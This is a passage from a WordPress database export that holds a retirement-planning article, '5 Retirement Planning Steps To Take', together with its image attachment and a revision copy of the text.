Tolerance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Risk tolerance is how much of a loss you’re willing to endure within your portfolio. Risk tolerance depends on a number of factors, including your financial goals, income, and age. Many retirees prefer to move into more conservative types of investments but must be willing to give up returns for that security.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Should I Save for Retirement?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One rule of thumb is to save 15% of your gross annual earnings every year. In a perfect world, savings would begin in your 20s and last throughout your working years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Age Is Considered Early Retirement?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Age 65 is typically considered early retirement. When it comes to Social Security, you can start collecting retirement benefits as early as age 62. But you won’t receive full benefits as you would if you wait to collect them at full retirement age instead.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-99\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-100\">The burden of retirement planning is falling on individuals now more than ever. Few employees can count on an employer-provided defined-benefit pension, especially in the private sector. The switch to defined-contribution plans, such as 401(k)s, also means that managing the investments becomes your responsibility, not your employer’s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-102\">One of the most challenging aspects of creating a comprehensive retirement plan is striking a balance between realistic return expectations and a desired standard of living. The best solution is to focus on creating a flexible portfolio that can be updated regularly to reflect changing market conditions and retirement objectives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/retirement/11/5-steps-to-retirement-plan.asp\">click h</a><a href=\"https://www.businessnewsdaily.com/5379-writing-self-assessment.html\">ere.</a></p>\n<!-- /wp:paragraph -->','5 Retirement Planning Steps To Take','','publish','closed','closed','','5-retirement-planning-steps-to-take','','','2024-02-27 16:00:58','2024-02-27 16:00:58','',0,'https://smartinsurance.tips/?p=3834',0,'post','',0),(3835,1,'2024-02-27 15:54:30','2024-02-27 15:54:30','','Untitled-23','','inherit','closed','closed','','untitled-23-3','','','2024-02-27 15:54:30','2024-02-27 15:54:30','',3834,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-23.png',0,'attachment','image/png',0),(3836,1,'2024-02-27 16:00:58','2024-02-27 16:00:58','<!-- wp:paragraph -->\n<p>These five steps will help you toward a safe, secure, and fun retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3835,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-23-1024x1024.png\" alt=\"\" class=\"wp-image-3835\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Retirement planning is a multistep process that evolves over time. To have a comfortable, secure—and fun—retirement, you need to build the financial cushion that will fund it all. The fun part is why it makes sense to pay attention to the serious—and perhaps boring—part: planning how you’ll get there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Retirement planning starts with thinking about your retirement goals and how long you have to meet them. Then you need to look at the types of retirement accounts that can help you raise the money to fund your future. As you save that money, you have to invest it to enable it to grow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-4\">The last part of planning is taxes: If you’ve received tax deductions over the years for the money that you’ve contributed to your retirement accounts, then a significant tax bill awaits when you start withdrawing those savings. There are ways to minimize the retirement tax hit while you save for the future—and to continue the process when that day arrives and you actually stop working.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">We’ll get into all of these issues here.&nbsp;But first, start by learning the five steps that everyone should take, no matter what their age, to build a solid retirement plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Retirement planning should include determining time horizons, estimating expenses, calculating required after-tax returns, assessing risk tolerance, and doing estate planning.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Start planning for retirement as soon as you can to take advantage of the power of compounding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Younger investors can take more risk with their investments, while investors closer to retirement should be more conservative.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Retirement plans evolve through the years, which means portfolios should be rebalanced and estate plans updated as needed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your career, family size, age of retirement, and post-retirement goals will all factor in to retirement planning.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">How Much Do You Need to Save for Retirement?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Before anyone starts crunching the numbers on their retirement goals, they will need a good idea of how much money they need to save. Naturally, this will depend on many situational factors, such as their annual income and the age when they plan to retire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">While there is no fixed rule about how much money to save, many retirement experts offer rules of thumb such as saving about $1 million, or 12 years of one\'s pre-retirement annual income. Others recommend the 4% rule, which suggests that retirees should spend no more than 4% of their retirement savings each year in order to ensure a comfortable retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since everyone\'s circumstances are different, it is worth sitting down to calculate the ideal retirement savings for your own situation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-19\">Factors to Consider</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-20\">As you begin to think about retirement, it is worthwhile to consider some of the factors that will affect your retirement goals. For example: what are your family plans? For many people, starting a family is a central life goal, but having children can also put a large dent in your savings. For that reason, the type of family you hope to have will play a factor in your retirement planning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">Likewise, it is also worth thinking about your plans for retirement, including any changes to your home or residence. Many people dream of travel during retirement, and while it can be an exciting adventure, extensive travel will eat away at your retirement savings faster than staying at home. On the other hand, moving to a country with an extremely low cost of living may allow you to stretch out your savings while enjoying a high living standard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">Finally, one should also consider the different types of tax-advantaged retirement accounts. Most Americans qualify for social security, but those benefits are rarely enough to support all of their expenses in retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">While pension funds were once the norm for skilled professionals, they have largely been replaced by self-funded plans like 401(k) or IRA accounts. Since these have a maximum contribution limit, your retirement strategy will depend on what types of tax-advantaged accounts are available to you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Once you have thought these factors through, these are the next steps for planning your retirement:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-30\">1. Understand Your Time Horizon</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">Your current age and expected retirement age create the initial groundwork for an effective retirement strategy. The longer the time from today to retirement, the higher the level of risk that your portfolio can withstand. If you’re young and have 30-plus years until retirement, you can have the majority of your assets in riskier investments, such as stocks. There will be volatility, but stocks have historically outperformed other securities, such as bonds, over long time periods. The main word here is “long,” meaning at least more than 10 years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Additionally, you need returns that outpace inflation so you can maintain your purchasing power during retirement. “Inflation is like an acorn. It starts out small, but given enough time, can turn into a mighty oak tree,” says Chris Hammond, a Savannah, Tenn., financial advisor and founder of RetirementPlanningMadeEasy.com.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-35\">“We’ve all heard—and want—compound growth on our money,” Hammond adds. “Well, inflation is like ‘compound anti-growth,’ as it erodes the value of your money. A seemingly small inflation rate of 3% will erode the value of your savings by 50% over approximately 24 years. Doesn’t seem like much each year, but given enough time, it has a huge impact.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-37\">In general, the older you are, the more your portfolio should be focused on income and the preservation of capital. This means a higher allocation in less risky securities, such as bonds, that won’t give you the returns of stocks but will be less volatile and provide income that you can use to live on. You will also have less concern about inflation. A 64-year-old who is planning on retiring next year does not have the same issues about a rise in the cost of living as a much younger professional who has just entered the workforce.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">You should break up your retirement plan into multiple components. Let’s say a parent wants to retire in two years, pay for a child’s education at age 18, and move to Florida. From the perspective of forming a retirement plan, the investment strategy would be broken up into three periods: two years until retirement (contributions are still made into the plan), saving and paying for college, and living in Florida (regular withdrawals to cover&nbsp;living expenses).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-41\">A multistage retirement plan must integrate various time horizons, along with the corresponding liquidity needs, to determine the optimal allocation strategy. You should also be rebalancing your portfolio over time as your time horizon changes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: You might not think that saving a few bucks here and there in your 20s means much, but the power of compounding will make it worth much more by the time you need it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-45\">2. Determine Retirement Spending Needs</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-46\">Having realistic expectations about post-retirement spending habits will help you define the required size of a retirement portfolio. Most people believe that after retirement, their annual spending will amount to only 70% to 80% of what they spent previously.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-48\">Such an assumption is often proven unrealistic, especially if the mortgage has not been paid off or if unforeseen medical expenses occur. Retired adults also sometimes spend their first years splurging on travel or other bucket-list goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-50\">“For retired adults to have enough savings for retirement, I believe that the ratio should be closer to 100%,” says David G. Niggel, CFP, ChFC, AIF, founder, president, and CEO of Key Wealth Partners LLC in Litilz, Pa. “The cost of living is increasing every year—especially healthcare expenses. People are living longer and want to thrive in retirement. Retired adults need more income for a longer time, so they will need to save and invest accordingly.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-52\">As, by definition, retired adults are no longer at work for eight or more hours a day, they have more time to travel, go sightseeing, shop, and engage in other expensive activities. Accurate retirement spending goals help in the planning process as more spending in the future requires additional savings today.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-54\">“One of the factors—if not the largest—in the longevity of your retirement portfolio is your withdrawal rate. Having an accurate estimate of what your expenses will be in retirement is so important because it will affect how much you withdraw each year and how you invest your account. If you understate your expenses, you easily outlive your portfolio, or if you overstate your expenses, you can risk not living the type of lifestyle you want in retirement,” says Kevin Michels, CFP, EA, financial planner, and president of Medicus Wealth Planning in Draper, Utah.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">Your longevity also needs to be considered when planning for retirement, so you don’t outlast your savings. The average life span of individuals is increasing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Actuarial life tables are available to estimate the longevity rates of individuals and couples (this is referred to as longevity risk).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-60\">Additionally, you might need more money than you think if you want to purchase a home or fund your children’s education post-retirement. Those outlays have to be factored into the overall retirement plan. Remember to update your plan once a year to make sure that you are keeping on track with your savings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-62\">“Retirement planning accuracy can be improved by specifying and estimating early retirement activities, accounting for unexpected expenses in middle retirement, and forecasting what-if late-retirement medical costs,” explains Alex Whitehouse, AIF, CRPC, CWS, president, and CEO of Whitehouse Wealth Management in Vancouver, Wash.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-64\">3. Calculate After-Tax Rate of Investment Returns</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-65\">Once the expected time horizons and spending requirements are determined, the after-tax real rate of return must be calculated to assess the feasibility of the portfolio producing the needed income. A required rate of return in excess of 10% (before taxes) is normally an unrealistic expectation, even for long-term investing. As you age, this return threshold goes down, as low-risk retirement portfolios are largely composed of low-yielding fixed-income securities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-67\">If, for example, an individual has a retirement portfolio worth $400,000 and income needs of $50,000, assuming no taxes and the preservation of the portfolio balance, they are relying on an excessive 12.5% return to get by. A primary advantage of planning for retirement at an early age is that the portfolio can be grown to safeguard a realistic rate of return. Using a gross retirement investment account of $1 million, the expected return would be a much more reasonable 5%.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-69\">Depending on the type of retirement account that you hold, investment returns are typically taxed. Therefore, the actual rate of return must be calculated on an after-tax basis. However, determining your tax status when you begin to withdraw funds is a crucial component of the retirement planning process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-71\">4. Assess Risk Tolerance vs. Investment Goals</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-72\">Whether it’s you or a professional money manager who is in charge of the investment decisions, a proper portfolio allocation that balances the concerns of risk aversion and returns objectives is arguably the most important step in retirement planning. How much risk are you willing to take to meet your objectives? Should some income be set aside in risk-free Treasury bonds for required expenditures?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-74\">You need to make sure that you are comfortable with the risks being taken in your portfolio and know what is necessary and what is a luxury. “Don’t be a ‘micromanager’ who reacts to daily market noise,” advises Craig L. Israelsen, Ph.D., designer of 7Twelve Portfolio in Springville, Utah.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-76\">“\'Helicopter’ investors tend to overmanage their portfolios,\" Israelsen adds. \"When the various mutual funds in your portfolio have a bad year, add more money to them. The mutual fund you are unhappy with this year may be next year’s best performer—so don’t bail out on it.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-78\">“Markets will go through long cycles of up and down and, if you are investing money you won’t need to touch for 40 years, you can afford to see your portfolio value rise and fall with those cycles,” says John R. Frye, CFA, senior advisor at Carnegie Investment Counsel. “When the market declines, buy—don’t sell. Refuse to give in to panic. If shirts went on sale, 20% off, you’d want to buy, right? Why not stocks if they went on sale 20% off?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-82\">5. Stay on Top of Estate Planning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-83\">Estate planning is another key step in a well-rounded retirement plan, and each aspect requires the expertise of different professionals, such as lawyers and accountants, in that specific field. Life insurance is also an important part of an estate plan and the retirement planning process. Having both a proper estate plan and life insurance coverage ensures that your assets are distributed in a manner of your choosing and that your loved ones will not experience financial hardship following your death. A carefully outlined plan also aids in avoiding an expensive and often lengthy probate process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-85\">Tax planning is another crucial part of the estate planning process. If an individual wishes to leave assets to family members or a charity, the tax implications of either gifting or passing them through the estate process must be compared.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-87\">A common retirement plan investment approach is based on producing returns that meet yearly inflation-adjusted living expenses while preserving the value of the portfolio. The portfolio is then transferred to the beneficiaries of the deceased. You should consult a tax advisor to determine the correct plan for the individual.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-89\">“Estate planning will vary over an investor’s lifetime,” says Mark T. Hebner, founder and president of Index Fund Advisors Inc. in Irvine, Calif., and author of <em>Index Funds: The 12-Step Recovery Program for Active Investors</em>. “Early on, matters such as powers of attorney and wills are necessary. Once you start a family, a trust may be something that becomes an important component of your financial plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-91\">“Later on in life, how you would like your money disbursed will be of the utmost importance in terms of cost and taxes,” Hebner adds. “Working with a fee-only estate planning attorney can assist in preparing and maintaining this aspect of your overall financial plan.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Risk Tolerance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Risk tolerance is how much of a loss you’re willing to endure within your portfolio. Risk tolerance depends on a number of factors, including your financial goals, income, and age. Many retirees prefer to move into more conservative types of investments but must be willing to give up returns for that security.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Should I Save for Retirement?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One rule of thumb is to save 15% of your gross annual earnings every year. In a perfect world, savings would begin in your 20s and last throughout your working years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Age Is Considered Early Retirement?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Age 65 is typically considered early retirement. When it comes to Social Security, you can start collecting retirement benefits as early as age 62. But you won’t receive full benefits as you would if you wait to collect them at full retirement age instead.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-99\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-100\">The burden of retirement planning is falling on individuals now more than ever. Few employees can count on an employer-provided defined-benefit pension, especially in the private sector. The switch to defined-contribution plans, such as 401(k)s, also means that managing the investments becomes your responsibility, not your employer’s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-102\">One of the most challenging aspects of creating a comprehensive retirement plan is striking a balance between realistic return expectations and a desired standard of living. The best solution is to focus on creating a flexible portfolio that can be updated regularly to reflect changing market conditions and retirement objectives.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/retirement/11/5-steps-to-retirement-plan.asp\">click h</a><a href=\"https://www.businessnewsdaily.com/5379-writing-self-assessment.html\">ere.</a></p>\n<!-- /wp:paragraph -->','5 Retirement Planning Steps To Take','','inherit','closed','closed','','3834-revision-v1','','','2024-02-27 16:00:58','2024-02-27 16:00:58','',3834,'https://smartinsurance.tips/?p=3836',0,'revision','',0),